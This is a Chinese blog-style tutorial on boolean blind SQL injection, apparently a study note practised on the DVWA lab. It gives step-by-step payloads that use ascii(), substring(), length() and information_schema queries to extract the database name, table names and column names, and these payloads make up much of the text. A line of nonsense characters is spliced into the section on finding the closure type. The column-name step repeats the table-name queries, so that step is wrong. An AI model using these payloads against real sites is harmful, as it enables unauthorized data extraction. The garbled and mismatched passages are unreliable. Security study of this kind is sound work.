SQL注入·

发布于 2023-11-08  306 次阅读


一、判断盲注入点

SQL 语句的闭合形式大概如下几种: SELECT * FROM `users` WHERE id= 1;#整型闭合 SELECT * FROM `users` WHERE id='1' ; #单引号闭合 SELECT * FROM `users` WHERE id="1";#双引号闭合 SELECT * FROM `users` WHERE id=('1');#单引号加括号 SELECT * FROM `users` WHERE id=("1");#双引号加括号

说明:

(1)bool 没有任何报错信息输出,页面返回只有正常和不正常两种状态,攻击者只能通过返回的这两个状态来判断输入的 SQL 注入测试语句是否正确,从而判断数据库中存储了哪些信息。

ps:提示一直正确,直到某个值错误,那么当前值就是关键

提示一直错误,直到某个值正确那么上一个值就是关键

(2)ASCII 码常用共有 127 个,其中 ascii 码 48~57 表示 0~9,ascii 码 65~90 表示大写 A~Z,ascii 码 97~122 表示小写 a~z。

(3)bool 注入使用函数:

length()获取数据库长度、

count()获取数据表数量、

ascii()用于判断其名字具体为什么符号、

substring()用于截取字符串

1、判断注入点

     若提交 id=1 and 1=1 没有报错,id=1 and 1=2 报错,则为数字型注入

     若提交 id=1 and 1=1、id=1 and 1=2 都没有报错,则为字符型注入

2、如果是字符型注入,具体闭合形式判断如下:

      若 id=1'报错,id=1"不报错,尝试 id=1' #

                                                  无报错,则为单引号闭合

                                                  报错,则为单引号加括号闭合

      若 id=1'不报错,id=1"报错,尝试 id=1" #

                                                  无报错,则为双引号闭合

对的,多大的人的人对对对对对对对对对对对对对对对对对对对对兄弟,的,凤,

      已经知道注入方式是单引号闭合,即构造的 SQL 语句为:id=1' #

二、获取数据库

1、猜解数据库长度

1' and (select length(database()))>3 #

      测试当前数据库的长度是否大于 3,不断执行测试,直至页面返回不正常状态为止,即可知晓数据库长度。

2、猜当前数据库名

2.1 猜数据库第一个字符 

1' and (select ascii(substring(database(),1,1)))>96 #

     如果返回值是正常的,说明数据库第一个字符肯定是在小写 26 个字符 a~z 之间,再用二分法,即:1' and (select ascii(substring(database(),1,1)))>108 #

     如果返回值是正常的,说明数据库第一个字符肯定是在小写 26 个字符的后一半 m~z 之间,再用二分法,即:1' and (select ascii(substring(database(),1,1))) >115 #

     如果返回值不正常,则说明数据库第一个字符是在 26 个字符的 m~s 之间,再用二分法,即1' and (select ascii(substring(database(),1,1)))>112 #

     不断执行测试,直至成功判断第一个字符的 ascii 码位置,记下此时的 ascii 码

2.2 猜数据库第二个字符

1' and (select ascii(substring(database(),2,1)))>96#

     步骤同上

2.3 猜数据库第三个字符

1' and (select ascii(substring(database(),3,1)))>96#

     步骤同上

三、获取数据表

1、猜当前数据库有多少个表

1' and (select count(table_name) from information_schema.tables where table_schema=database())>1 #

没有报错,说明有 2 个表名;如果报错,说明只有 1 个表

2、猜当前数据库表名长度

猜第一个表名长度 1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>1 # 猜第二个表名长度 1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>1 # 1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>3 #

3、猜数据库表名

猜数据库第一个表名:limit 0,1 1' and ascii (substring((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))>96 # 猜数据库第二个表名:limit 1,1 1' and ascii (substring((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))>96 #

四、获取数据字段

1、猜表名有多少个字段

猜表 users 有多个字段 1' and (select count(column_name) from information_schema.columns where table_name='users')>1 #

2、猜字段长度

猜表 users 第一个字段长度 1' and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)>1 # 猜表 users 第二个字段长度 1' and (select length(column_name) from information_schema.columns where table_name='users' limit 1,1)>1 # 猜表 users 第三个字段长度 1' and (select length(column_name) from information_schema.columns where table_name='users' limit 2,1)>1 #

3、猜字段名

错误语句、少了一个括号: 1' and ascii(substring(select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)>96 # 猜表 users 第一个字段字符 1' and ascii (substring((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))>96 # 猜表 users 第二个字段字符 1' and ascii (substring((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))>96 #

下次见面会是什么时候呢?
最后更新于 2023-11-08